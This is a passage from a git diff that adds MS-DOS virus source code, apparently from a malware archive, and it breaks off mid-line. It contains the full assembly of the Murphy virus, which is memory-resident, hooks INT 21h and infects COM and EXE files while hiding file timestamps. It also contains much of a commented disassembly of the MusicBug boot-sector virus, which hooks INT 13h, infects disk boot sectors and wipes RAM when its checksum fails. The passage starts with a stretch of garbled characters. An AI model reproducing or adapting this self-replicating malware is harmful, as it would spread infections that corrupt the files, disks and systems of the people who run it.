²¥¥¢ , ‘®´¨¿ ³«."³¤ ¯¥¹ " 14 +; , ²¥«.80-28-26 +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.murphy-1.asm b/MSDOS/Virus.MSDOS.Unknown.murphy-1.asm new file mode 100644 index 00000000..45728573 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.murphy-1.asm @@ -0,0 +1,673 @@ + + + +L0100: JMP L08D0 + MOV AH,09H + MOV DX,010CH + INT 21H + +L010A: INT 20H + +L010C: DB 'Murphy virus V1.00 (V1277)$' + DB 1961 DUP (1) + +L08D0: JMP L0C51 + + NOP ; \ + NOP ; \ + NOP ; \ +L08D6: MOV AH,09H ; \ + MOV DX,010CH ; > ORIGINAL 24 BYTES + INT 21H ; / +L08DD: INT 20H ; / + ; / +L08DF: DB 'Murphy virus' ; / + +L08EB: DW 2 DUP(0000H) + MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H + AND [BX+SI],AX ;DB 21H,00H + JNO L08F7 ;DB 71H,00H +L08F7: XOR AL,[BX+DI] ;DB 32H,01H + MOV CH,02H ;DB 0B5H,02H + TEST AL,0CH ;DB 0A8H,0CH + PUSH SI ;DB 56H + ADD AX,0AF9H ;DB 05H,0F9H,0AH + EXTRN L3BC8H_0001H:FAR + JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH + ADD CH,[BX+SI+200CH] + +L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. ' + DB 'I'm written since Nov/Dec.' + DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. ' + +; ******** INT21 DRIVER ******** + + CALL L0C1B ; SOUND SHOW + + CMP AX,4B59H ; SPECIAL FUNCTION ? + JNE L099A + + PUSH BP ; \ + MOV BP,SP ; \ + AND WORD PTR [BP+06H],-02H ; > FLAG C = 0 + POP BP ; / + IRET ; / + +L099A: CMP AH,4BH ; EXEC PROGRAM ? + JE L09B1 + + CMP AX,3D00H ; OPEN FILE ? + JE L09B1 + + CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx ) + JNE L09AE + CMP BL,00H + JE L09B1 + +L09AE: JMP L0A56 ; NO. ORIGINAL INT21 + +L09B1: PUSH ES ; \ + PUSH DS ; > SAVE REGISTERS +L09B3: DB 'WVURQSP' ; / + + CALL L0B86 ; SET NEW INT24 & INT13 + + CMP AX,6C00H ; \ + JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI + MOV DX,SI ; / + +L09C4: MOV CX,0080H + + MOV SI,DX ; \ +L09C9: INC SI ; \ + MOV AL,[SI] ; > SEARCH EXTENSION + OR AL,AL ; / + LOOPNZ L09C9 ; / + + SUB SI,+02H + + CMP WORD PTR [SI],4D4FH ; 'OM' ? + JE L09EB + + CMP WORD PTR [SI],4558H ; 'XE' ? + JE L09E2 + +L09DF: JMP SHORT L0A4A + + NOP +L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ? + JE L09F2 + + JMP SHORT L09DF + +L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ? + JNE L09DF + +L09F2: MOV AX,3D02H ; OPEN FILE + CALL L0B7F + JB L0A4A + + MOV BX,AX + + MOV AX,5700H ; GET DATE & TIME + CALL L0B7F + + MOV CS:[0121H],CX ; SAVE DATE & TIME + MOV CS:[0123H],DX + + MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ??? + XOR CX,CX + XOR DX,DX + CALL L0B7F + + PUSH CS ; MY SEGMENT + POP DS + + MOV DX,0103H ; READ ORIGINAL 24 BYTES + MOV SI,DX + MOV CX,0018H + MOV AH,3FH + CALL L0B7F + JB L0A35 + + CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ? + JNE L0A32 + + CALL L0A5B ; INFECT 'EXE' FILE + JMP SHORT L0A35 + +L0A32: CALL L0B2B ; INFECT 'COM' FILE + +L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME + MOV CX,CS:[0121H] + MOV DX,CS:[0123H] + CALL L0B7F + + MOV AH,3EH ; CLOSE FILE + + CALL L0B7F ; RESTORE INT13 & INT24 + +L0A4A: CALL L0BC3 + +L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS + POP DS + POP ES + +L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21 + +; ******** INFECT 'EXE' PROGRAM ******** + +L0A5B: MOV CX,[SI+16H] ; CS SEGMENT + + ADD CX,[SI+08H] ; + HEADER SIZE + + MOV AX,0010H ; PARA -> BYTES + MUL CX + + ADD AX,[SI+14H] ; DX:AX = START FILE + ADC DX,+00H + + PUSH DX ; SAVE START FILE OFFSET + PUSH AX + + MOV AX,4202H ; MOVE FP TO END FILE + XOR CX,CX ; (GET FILE SIZE) + XOR DX,DX + CALL L0B7F + + CMP DX,+00H ; SIZE < 1277 ??? + JNE L0A88 + CMP AX,04FDH + NOP + JNB L0A88 + + POP AX ; QUIT + POP DX + JMP L0B0D + +L0A88: MOV DI,AX ; SAVE FILE SIZE + MOV BP,DX + + POP CX ; CALC CODE SIZE + SUB AX,CX + POP CX + SBB DX,CX + + CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ? + JE L0B0D + + CMP DX,+00H ; CODE SIZE = 1277 + JNE L0AA3 + CMP AX,04FDH + NOP + JE L0B0D + +L0AA3: MOV DX,BP ; FILE SIZE + MOV AX,DI + + PUSH DX ; SAVE FILE SIZE + PUSH AX + + ADD AX,04FDH ; CALC NEW FILE SIZE + NOP + ADC DX,+00H + + MOV CX,0200H ; CALC FILE SIZE FOR HEADER + DIV CX + + LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE + MOV CS:[0125H],DI + MOV CS:[0127H],ES + + MOV [SI+02H],DX ; SAVE NEW CODE SIZE + CMP DX,+00H + JE L0ACB + INC AX +L0ACB: MOV [SI+04H],AX + + POP AX ; RESTORE ORIGINAL FILE SIZE + POP DX + + CALL L0B0E ; ??? + + SUB AX,[SI+08H] + + LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP + MOV DS:[011BH],DI + MOV DS:[011DH],ES + + MOV [SI+14H],DX ; SET NEW CS:IP + MOV [SI+16H],AX + + MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET + + MOV AX,4202H ; MOVE FP TO END FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + CALL L0B1F ; WRITE CODE + JB L0B0D + + MOV AX,4200H ; MOVE FP TO BEGIN FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + MOV AH,40H ; WRITE HEADER + MOV DX,SI + MOV CX,0018H + CALL L0B7F + +L0B0D: RET + +L0B0E: MOV CX,0004H ; ??? + MOV DI,AX + AND DI,+0FH +L0B16: SHR DX,1 + RCR AX,1 + LOOP L0B16 + MOV DX,DI + RET + +L0B1F: MOV AH,40H ; WRITE VIRUS CODE + MOV CX,04FDH ; SIZE = 1277 + NOP + MOV DX,0100H + JMP SHORT L0B7F + NOP + + +; ******** INFECT 'COM' PROGRAM ******** + +L0B2B: MOV AX,4202H ; MOVE FP TO END FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + CMP AX,04FDH ; FILE SIZE < 1277 ? + NOP + JB L0B7E + + CMP AX,0FAE2H ; FILE SIZE > 64226 + NOP + JNB L0B7E + + PUSH AX ; SAVE SIZE + + CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ? + JNE L0B53 + + SUB AX,0500H ; CALC OFFSET FOR VIRUS + NOP + + CMP AX,[SI+01H] ; FILE IS INFECTET ? + JNE L0B53 + + POP AX + JMP SHORT L0B7E + +L0B53: CALL L0B1F ; WRITE VIRUS CODE + JNB L0B5B + + POP AX ; ERROR + JMP SHORT L0B7E + +L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + POP AX ; CALC OFFSET FOR JUMP + SUB AX,0003H + + MOV DX,011BH ; DATA ARREA + MOV SI,DX + + MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA + MOV CS:[SI+01H],AX + + MOV AH,40H ; WRITE FIRST 3 BYTES + MOV CX,0003H + CALL L0B7F + +L0B7E: RET + + +; ******** VIRUS INT21 ******** + +L0B7F: PUSHF + CALL DWORD PTR CS:[0129H] + RET + +; ******** SET NEW INT24 & INT13 ******** + +L0B86: PUSH AX ; SAVE REGISTERS + PUSH DS + PUSH ES + + XOR AX,AX ; SEGMENT AT VECTOR TABLE + PUSH AX + POP DS + + CLI + + LES AX,DWORD PTR DS:[0090H] ; \ + MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24 + MOV CS:[012FH],ES ; / + + MOV AX,0418H ; \ + MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24 + MOV DS:[0092H],CS ; / + + LES AX,DWORD PTR DS:[004CH] ; \ + MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13 + MOV CS:[0137H],ES ; / + + LES AX,DWORD PTR CS:[0131H] ; \ + MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13 + MOV DS:[004EH],ES ; / + + STI + + POP ES ; RESTORE REGISTERS + POP DS + POP AX + RET + +; ******** RESTORE INT24 & INT13 ******** + +L0BC3: PUSH AX + PUSH DS + PUSH ES + XOR AX,AX + PUSH AX + POP DS + + CLI + + LES AX,DWORD PTR CS:[012DH] ; \ + MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24 + MOV DS:[0092H],ES ; / + + LES AX,DWORD PTR CS:[0135H] ; \ + MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13 + MOV DS:[004EH],ES ; / + + STI + + POP ES + POP DS + POP AX + RET + + +; ******** INT13 DRIVER ******** + +L0BE8: TEST AH,80H ; HARD DISK ? + JE L0BF2 + + JMP DWORD PTR CS:[012DH] ; YES. + +L0BF2: ADD SP,+06H ; POP REGISTERS +L0BF5: DB 'X[YZ^_]' + POP DS + POP ES + PUSH BP + MOV BP,SP + OR WORD PTR [BP+06H],+01H ; FLAG C=1 + POP BP + IRET + + +; ******** SOUOND DRIVER ********* + +L0C07: MOV AL,0B6H + OUT 43H,AL + MOV AX,0064H + OUT 42H,AL + MOV AL,AH + OUT 42H,AL + IN AL,61H + OR AL,03H + OUT 61H,AL + RET + + +; ******** SHOW DRIVER ******** + +L0C1B: PUSH AX ; SAVE REGISTERS + PUSH CX + PUSH DX + PUSH DS + + XOR AX,AX ; DOS ARREA SEGMENT + PUSH AX + POP DS + + MOV AX,WORD PTR DS:[046CH] ; GET TIME + MOV DX,DS:[046EH] + + MOV CX,0FFFFH ; DIVIDE BY 65535 + DIV CX ; 1 HOUR - 65535 TICKS + + CMP AX,000AH ; TEN HOUR ? + JNE L0C37 + + CALL L0C07 ; SHOW + +L0C37: POP DS ; RESTORE REGISTERS + POP DX + POP CX + POP AX + RET + +L0C3C: MOV DX,0010H ; DX:AX = AX * 16 + MUL DX + RET + + +; CLEAR REGISTERS ???? + +L0C42: XOR AX,AX + XOR BX,BX + XOR CX,CX + XOR DX,DX + XOR SI,SI + XOR DI,DI + XOR BP,BP + RET + +L0C51: PUSH DS + + CALL L0C55 ; PUSH ADDRES + +L0C55: MOV AX,4B59H ; I'M IN MEMORY ? + INT 21H +L0C5A: JB L0C5F ; NO. INSERT CODE + + JMP L0D87 ; START FILE + +L0C5F: POP SI ; POP MY ADDRESS + PUSH SI + + MOV DI,SI + + XOR AX,AX ; DS = VECTOR TABLE SEGMENT + PUSH AX + POP DS + + LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS + MOV CS:[SI+0FCACH],AX + MOV CS:[SI+0FCAEH],ES + + LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS + MOV CS:[DI+0FCA4H],BX + MOV CS:[DI+0FCA6H],ES + + MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40 + CMP AX,0F000H ; IN ROM BIOS ? + JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM + + MOV DL,80H + + MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41 + + CMP AX,0F000H ; ROM BIOS ? + JE L0CB1 + + CMP AH,0C8H ; < ROM EXTERNAL ARREA + JB L0CF4 + + CMP AH,0F4H ; > ROM EXTERNAL ARREA + JNB L0CF4 + + TEST AL,7FH + JNE L0CF4 + + MOV DS,AX + + CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ? + JNE L0CF4 + + MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13 +L0CB1: MOV DS,AX ; ADDRESS + XOR DH,DH + MOV CL,09H + SHL DX,CL + MOV CX,DX + XOR SI,SI +L0CBD: LODSW + CMP AX,0FA80H + JNE L0CCB + LODSW + CMP AX,7380H + JE L0CD6 + JNE L0CE0 +L0CCB: CMP AX,0C2F6H + JNE L0CE2 + LODSW + CMP AX,7580H + JNE L0CE0 +L0CD6: INC SI + LODSW + CMP AX,40CDH + JE L0CE7 + SUB SI,+03H +L0CE0: DEC SI + DEC SI +L0CE2: DEC SI + LOOP L0CBD + JMP SHORT L0CF4 +L0CE7: SUB SI,+07H + MOV CS:[DI+0FCACH],SI + MOV CS:[DI+0FCAEH],DS + +L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT + INT 21H + +L0CF8: MOV ES,BX ; FREE MY BLOCK + MOV AH,49H + INT 21H + +L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE + MOV AH,48H + INT 21H + +L0D05: SUB BX,0051H ; FREE SPACE ? + JB L0D87 + + MOV CX,ES ; CALC NEW BLOCK SIZE + STC + ADC CX,BX + + MOV AH,4AH ; SET NEW SIZE + INT 21H + +L0D14: MOV BX,0050H + NOP + STC + SBB ES:[0002H],BX + PUSH ES + MOV ES,CX + MOV AH,4AH + INT 21H + +L0D25: MOV AX,ES + DEC AX + MOV DS,AX + MOV WORD PTR DS:[0001H],0008H + CALL L0C3C + MOV BX,AX + MOV CX,DX + POP DS + MOV AX,DS + CALL L0C3C + ADD AX,DS:[0006H] + ADC DX,+00H + SUB AX,BX + SBB DX,CX + JB L0D4E + SUB DS:[0006H],AX +L0D4E: MOV SI,DI + XOR DI,DI + PUSH CS + POP DS + SUB SI,0385H + MOV CX,04FDH + NOP + INC CX + REPZ MOVSB + MOV AH,62H + INT 21H + +L0D63: DEC BX + MOV DS,BX + MOV BYTE PTR DS:[0000H],5AH + MOV DX,01B9H + XOR AX,AX + PUSH AX + POP DS + MOV AX,ES + SUB AX,0010H + MOV ES,AX + CLI + MOV DS:[0084H],DX + MOV DS:[0086H],ES + STI + DEC BYTE PTR DS:[047BH] +L0D87: POP SI + CMP WORD PTR CS:[SI+0FC7EH],5A4DH + JNE L0DAE + POP DS + MOV AX,CS:[SI+0FC9AH] + MOV BX,CS:[SI+0FC98H] + PUSH CS + POP CX + SUB CX,AX + ADD CX,BX + PUSH CX + PUSH WORD PTR CS:[SI+0FC96H] + PUSH DS + POP ES + CALL L0C42 + RETF + +L0DAE: POP AX + MOV AX,CS:[SI+0FC7EH] + MOV WORD PTR CS:[0100H],AX + MOV AX,CS:[SI+0FC80H] + MOV WORD PTR CS:[0102H],AX + MOV AX,0100H + PUSH AX + PUSH CS + POP DS + PUSH DS + POP ES + CALL L0C42 + RET + +L0DCD: DW 0000H + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.musicbug.asm b/MSDOS/Virus.MSDOS.Unknown.musicbug.asm new file mode 100644 index 00000000..38d5cbfe --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.musicbug.asm @@ -0,0 +1,890 @@ +; -------------------------------------------------------------------------- +; Virus Mbug Sourced by Roman_S (c) jan 1992 +; -------------------------------------------------------------------------- +; Ulozenie BOOT Sect 7, Head 0, stopa 9 (360 Kb) +; Virus Sec 8,9 Hed 0, stopa 9 +; Sec 0 Head 1, stopa 9 +; Po preklade TASM vznika original !!! +; -------------------------------------------------------------------------- + NOSMART +data_1e equ 230h +data_2e equ 6Ch +data_3e equ 0Dh +data_4e equ 0Eh +data_5e equ 11h +data_6e equ 13h +data_7e equ 15h +data_8e equ 16h +data_9e equ 18h +data_10e equ 1Ah +ram_top equ 413h ;Vrchol RAM +buffer_boot equ 0dd1h + +mbug segment byte public + assume cs:mbug, ds:mbug + + org 100h +start: cli ;Disable interrupts + jmp run_virus +B_name db 'IBM 3.3' +B_bytes_sect dw 200h +B_clust_size db 2 +B_reserved dw 1 +B_count_fat db 2 +B_root_size dw 70h +B_total_sect dw 2D0h +B_media_desc db 0FDh +B_fat_size dw 2 +B_track_sect dw 9 +B_head_cnt dw 2 + dw 0 + db 6 dup (0) + db 0Fh, 0, 0, 0, 0, 1 + db 0, 0, 0, 0, 0, 12h + db 0, 0, 0, 0, 1, 0 + db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh + db 0, 7Ch, 16h, 7 +chcksum dw 4F3Fh ;Kontrolny sucet casti vira +drive_head dw 0 ;Ulozenie virusu na disku +stopa_sect dw 907h +pocet_hlav db 2 +sect_inc_track db 0Ah +pom_ax dw 200h +pom_bx dw 8A00h +pom_cx dw 905h +pom_dx dw 100h + db 0B6h, 0D9h, 0A1h, 49h, 0A6h, 55h + db 0A6h, 0ECh, 0A7h, 0CCh, 0A5h, 53h + db 0A6h, 6Eh, 0A1h, 41h, 0A7h, 0DAh + db 0ACh, 4Fh, 0A4h, 40h, 0B0h, 0A6h + db 0B5h, 0BDh, 0A8h, 7Dh, 0AAh, 0BAh + db 0A4h, 70h, 0AFh, 66h, 0ACh, 72h + db 0A1h, 41h, 0A7h, 0DAh, 0A4h, 0A3h + db 0B7h, 7Ch, 0AFh, 7Dh, 0C3h, 61h + db 0B1h, 7Ah, 0BAh, 0CFh, 0A4h, 0F9h + db 0A4h, 57h, 0AAh, 0BAh, 0A5h, 0F4h + db 0A6h, 0F3h, 0B8h, 0EAh, 0AEh, 0C6h + db 0A1h, 41h, 0A5h, 75h, 0B0h, 0B8h + db 0A6h, 0D3h, 27h, 0A7h, 0ECh, 0A8h + db 67h, 27h, 0A4h, 40h, 0A4h, 55h + db 0A1h, 41h, 0A5h, 0D1h, 0A9h, 0F3h + db 0B5h, 4Ch, 0ACh, 72h, 0A5h, 42h + db 0B9h, 0EFh, 0BEh, 0F7h, 0C5h, 0E9h + db 0B5h, 4Ch, 0AEh, 60h, 0B7h, 71h + db 0BDh, 0D0h, 0A6h, 77h, 0A4h, 0DFh + db 0A8h, 0CFh, 0A5h, 0CEh, 0A1h, 43h + db 0C1h, 0C2h, 0C1h, 0C2h, 0A1h, 49h + db 0A1h + db 49h + +; ------------------------------------------------------------------------- +run_virus: mov ax,cs ;Set registers & stack + mov ds,ax + mov es,ax + mov ss,ax + mov sp,0F000h + sti ;Enable interrupts + call test_chcksum + mov ax,ds:[B_track_sect+7c00h-100h] + inc al + mov ds:[sect_inc_track+7c00h-100h],al + mov ax,ds:[B_head_cnt+7c00h-100h] + mov ds:[pocet_hlav+7c00h-100h],al + mov dx,ds:[drive_head+7c00h-100h] + mov cx,ds:[stopa_sect+7c00h-100h] + call next_sect1 ;Posun CX,DX na dalsi + mov ax,207h ;Read 7 sectors + mov bx,7E00h ;Buffer + call read_vir2 ;Citaj druhu cast virusu + jnc read_ok + int 18h ;ROM basic + +read_ok: mov ax,ds:ram_top ;Memory TOP + sub ax,4 ;Reserved 4 Kb + mov ds:ram_top,ax ;Set new value + mov cl,6 ;Convert to segment addres + shl ax,cl + mov es,ax ;Set ES to nex segment memory + mov si,7C00h ;Zaciatok virusu + xor di,di ;Na zaciatok memory bloku + mov cx,800h + cld + rep movsw ;Copy virus to MEM TOP + push es + mov ax,200h ;Push far Continue + push ax + retf ;Jmp to Continue + +; -------------------------------------------------------------------------- +; Nacitanie zvysnych sektorov virusu +; Vstupuje AH - command BX - adresa pre data +; AL - pocet sektorov +; -------------------------------------------------------------------------- +read_vir2: push ax ;Backup registers + push bx + push cx + push dx + mov cs:[pom_ax+7c00h-100h],ax + mov cs:[pom_bx+7c00h-100h],bx + mov cs:[pom_cx+7c00h-100h],cx + mov cs:[pom_dx+7c00h-100h],dx + +dalsi: mov cx,4 ;Count for error +read_again: push cx ;Backup + mov ah,byte ptr cs:[pom_ax+7c00h-100h+1] ;Command + mov al,1 ;1 sect + mov bx,cs:[pom_bx+7c00h-100h] + mov cx,cs:[pom_cx+7c00h-100h] + mov dx,cs:[pom_dx+7c00h-100h] + int 13h ;Read 1 sector to BX + pop cx ;Restore counter error + jnc read_ok1 + xor ah,ah + int 13h ;Reset disk + loop read_again ;Dalsi pokus + stc ;Nepodarilo sa + jmp short return + +read_ok1: dec byte ptr cs:[pom_ax+7c00h-100h] ;Zmensi pocet sektorov + cmp byte ptr cs:[pom_ax+7c00h-100h],0 ;Toto bol posledny ? + je return + mov cx,cs:[pom_cx+7c00h-100h] + mov dx,cs:[pom_dx+7c00h-100h] + call next_sect1 ;Posun na dalsi sect + mov cs:[pom_cx+7c00h-100h],cx + mov cs:[pom_dx+7c00h-100h],dx + mov bx,cs:[pom_bx+7c00h-100h] ;Buffer + add bx,200h ;Posun sa o 1 sector + mov cs:[pom_bx+7c00h-100h],bx + jmp short dalsi ;Citaj dalsi sektor + +return: pop dx ;Restore registers + pop cx + pop bx + pop ax + retn + + +; --------------------------------------------------------------------------- +; Rutina posunie CX,DX na dalsi sektor +; --------------------------------------------------------------------------- +next_sect1: push ax + inc cl ;Next sector + mov al,cl + and al,3Fh + cmp al,cs:[sect_inc_track+7c00h-100h] ;Prekroceny posledny? + jb next_ok ;Jump if no + and cl,0C0h ;Znuluj ho + inc cl ;Nastav 1 a daj dalsiu hlavu + inc dh + cmp dh,cs:[pocet_hlav+7c00h-100h] ;Posledna hlava ? + jb next_ok ;Jump if no + xor dh,dh ;Nastav prvu hlavu + add ch,1 ;Posun na dalsiu stopu + jnc next_ok + add cl,40h + jnc next_ok + or cl,0C0h +next_ok: pop ax + retn + +;-------------------------------------------------------------------------- +; Prevedie kontrolnu sumu casti virusu a ak nesedi premaze pamat +;-------------------------------------------------------------------------- +test_chcksum: mov si,7C50h + mov cx,7CD0h + sub cx,si + xor ah,ah + xor dx,dx ;Suma = 0 + cld +add_next: lodsb + add dx,ax ;Suma = Suma + AX + loop add_next + + cmp dx,ds:[chcksum+7c00h-100h] + je chcksum_ok + xor ax,ax ;Chyba -> Clear RAM 0-8000h + mov es,ax + xor di,di + mov cx,8000h +kill_next: stosw + loop kill_next +chcksum_ok: retn + + db 15 dup (0) + db 55h,0AAh ;Flag end sector BOOT + +; ---------------------------------------------------------------------------- +; Pokracovanie virusu cez RETF (Dalsie sektory) +; ---------------------------------------------------------------------------- +continute_line: jmp short continue_lin + db 3, 0, 0Ah, 0, 8, 4 + db 0, 0, 20h, 0FFh, 0Ah, 0 + db 1, 0 + db 'MusicBug v1.06. MacroSoft Corp. ' + +old_13: dw 0A189h,0F000h ;Povodny INT 13h + db 0 + +continue_lin: xor ax,ax ;Set AX,DS,ES = 0 + mov ds,ax + mov es,ax + mov cx,4 ;Set error counter + +again_origin: push cx ;Backup + mov ax,201h ;Read 1 sector + mov bx,7C00h ;To original BOOT + mov cx,cs:[stopa_sect-100h] ;Ulozenie povodneho BOOTu + mov dx,cs:[drive_head-100h] + int 13h ;Read original BOOT sector + pop cx ;Restore + jnc old_boot_ok + xor ah,ah + int 13h ;Reset disk + loop again_origin + int 18h ;ROM basic + +old_boot_ok: call redef_13 + mov cx,cs:[year-100h] ;Vyber cas nakazenia + mov dh,cs:[month-100h] + call year2month ;Preved na mesiace + mov cs:[pom_months-100h],ax + mov byte ptr cs:[flag_action-100h],0 ;Znuluj akciu + nop + mov ah,4 + int 1Ah ;Read date cx=year, dx=mon/day + or dx,dx ;Je tam CMOS ? + jz no_cmos + call year2month ;Preved na mesiace + sub ax,4 ;Pridaj 4 mesiace + cmp ax,cs:[pom_months-100h] ;Uz ubehli od nakazenia ? + jb no_cmos + inc cs:[flag_action-100h] ;Ano nastav flag action + +no_cmos: push es + mov ax,7C00h ;Push 0000:7C00 + push ax + retf ;Jump far to original BOOT + +; ------------------------------------------------------------------------ +; New interrupt 13h - DISK I/O +; ------------------------------------------------------------------------ +new_13: sti ;Enable + pushf ;Backup registers + push es + push ds + push di + push si + push ax + push bx + push cx + push dx + + call timeout ;Testuj casovu prodlevu + jc ret_from_13 ;Ochod ak neuplynula 1 sec. + cmp dl,2 ;Disk A:, B: ? + jb disk_ok ;Jump if YES + cmp dl,80h ;Hardisk C: ? + jne read_boot_err ;Jump if no + +disk_ok: mov si,cs ;Disk A: B: or C: + mov ds,si + mov es,si ;Set DS,ES to my segment + mov cs:[drive_number-100h],dl ;Backup drive + call read_boot ;Nacitaj boot sektor + jc read_boot_err + call sub_1 + jmp short ret_from_13 + +read_boot_err: cmp byte ptr cs:[flag_action-100h],1 ;Ideme vyhravat ? + jne ret_from_13 + call sound ;Zacvrlikaj +ret_from_13: pop dx ;Restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop ds + pop es + popf + jmp dword ptr cs:[230h] + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_1: call sub_2 + mov al,cs:data_54 ; (727D:0DE6=0F6h) + cmp al,0FDh + je loc_6 + cmp al,0F9h + je loc_6 + cmp al,0F8h + jne loc_ret_8 + call sub_4 + jnc loc_7 + retn +loc_6: call sub_3 + jc loc_ret_8 +loc_7: call sub_6 +loc_ret_8: retn + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_2: mov ax,cs:data_55 ; (727D:0DE7=0F6F6h) + mov cs:7b7h,ax ; (727D:07B7=75AAh) + xor bh,bh ; Zero register + mov bl,cs:data_51 ; (727D:0DE1=0F6h) + mul bx ; dx:ax = reg * ax + add ax,cs:data_50 ; (727D:0DDF=0F6F6h) + mov bx,cs:data_52 ; (727D:0DE2=0F6F6h) + shr bx,1 ; Shift w/zeros fill + shr bx,1 ; Shift w/zeros fill + shr bx,1 ; Shift w/zeros fill + shr bx,1 ; Shift w/zeros fill + add ax,bx + mov cs:7b5h,ax ; (727D:07B5=550Fh) + mov al,cs:data_56 ; (727D:0DE9=0F6h) + inc al + mov cs:7beh,al ; (727D:07BE=0Dh) + mov bl,cs:data_57 ; (727D:0DEB=0F6h) + mov cs:7bfh,bl ; (727D:07BF=0) + dec al + mul bl ; ax = reg * al + mov cs:7b3h,ax ; (727D:07B3=0CF3Eh) + retn + + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_3: mov byte ptr cs:7c8h,0 ; (727D:07C8=3Bh) + nop + mov byte ptr cs:7c9h,0 ; (727D:07C9=6) + nop +loc_9: mov ah,2 + mov al,byte ptr cs:7b7h ; (727D:07B7=0AAh) + cmp al,3 + jbe loc_10 ; Jump if below or = + dec word ptr cs:7b7h ; (727D:07B7=75AAh) + dec word ptr cs:7b7h ; (727D:07B7=75AAh) + dec word ptr cs:7b7h ; (727D:07B7=75AAh) + mov al,3 + jmp short loc_12 ; (047F) + +loc_10: or al,al ; Zero ? + jnz loc_11 ; Jump if not zero + jmp loc_19 ; (0551) + +loc_11: mov byte ptr cs:7c8h,1 ; (727D:07C8=3Bh) + nop + +loc_12: mov cs:7ceh,al ; (727D:07CE=0F8h) + lea bx,cs:[7D1h] ; Load effective addr + mov cl,cs:7c9h ; (727D:07C9=6) + shl cl,1 ; Shift w/zeros fill + add cl,cs:7c9h ; (727D:07C9=6) + inc cl + inc cl + mov cs:7cch,cl ; (727D:07CC=74h) + xor ch,ch ; Zero register + xor dh,dh ; Zero register + mov dl,cs:7cah ; (727D:07CA=40h) + call read_write + jnc loc_13 ; Jump if carry=0 + jmp loc_ret_20 ; (0552) +loc_13: + mov ax,200h + xor dh,dh ; Zero register + mov dl,cs:7ceh ; (727D:07CE=0F8h) + mul dx ; dx:ax = reg * ax + sub ax,6 + mov cs:7bch,ax ; (727D:07BC=0DC3Eh) + xor bx,bx ; Zero register +loc_14: + cmp bx,cs:7bch ; (727D:07BC=0DC3Eh) + ja loc_16 ; Jump if above + mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h) + or ax,ax ; Zero ? + jnz loc_15 ; Jump if not zero + mov ax,cs:7d3h[bx] ; (727D:07D3=5350h) + or ax,ax ; Zero ? + jnz loc_15 ; Jump if not zero + mov ax,cs:7d5h[bx] ; (727D:07D5=40B8h) + or ax,ax ; Zero ? + jz loc_17 ; Jump if zero + +loc_15: inc bx + inc bx + inc bx + jmp short loc_14 + +loc_16: cmp byte ptr cs:7c8h,1 ; (727D:07C8=3Bh) + je loc_19 ; Jump if equal + inc byte ptr cs:7c9h ; (727D:07C9=6) + jmp loc_9 ; (0454) +loc_17: + mov ax,0FFFFh + mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h) + mov cs:7d3h[bx],ax ; (727D:07D3=5350h) + mov cs:7d5h[bx],ax ; (727D:07D5=40B8h) + xor ah,ah ; Zero register + mov al,cs:7c9h ; (727D:07C9=6) + shl al,1 ; Shift w/zeros fill + add al,cs:7c9h ; (727D:07C9=6) + mov dx,200h + mul dx ; dx:ax = reg * ax + add ax,bx + xor dx,dx ; Zero register + mov bx,3 + div bx ; ax,dx rem=dx:ax/reg + dec ax + shl ax,1 ; Shift w/zeros fill + mov cl,cs:data_49 ; (727D:0DDE=0F6h) + shr cl,1 ; Shift w/zeros fill + or cl,cl ; Zero ? + jz loc_18 ; Jump if zero + shl ax,cl ; Shift w/zeros fill +loc_18: + add ax,cs:7b5h ; (727D:07B5=550Fh) + call sub_5 ; (0611) + mov byte ptr cs:7cbh,0 ; (727D:07CB=0) + nop + mov byte ptr 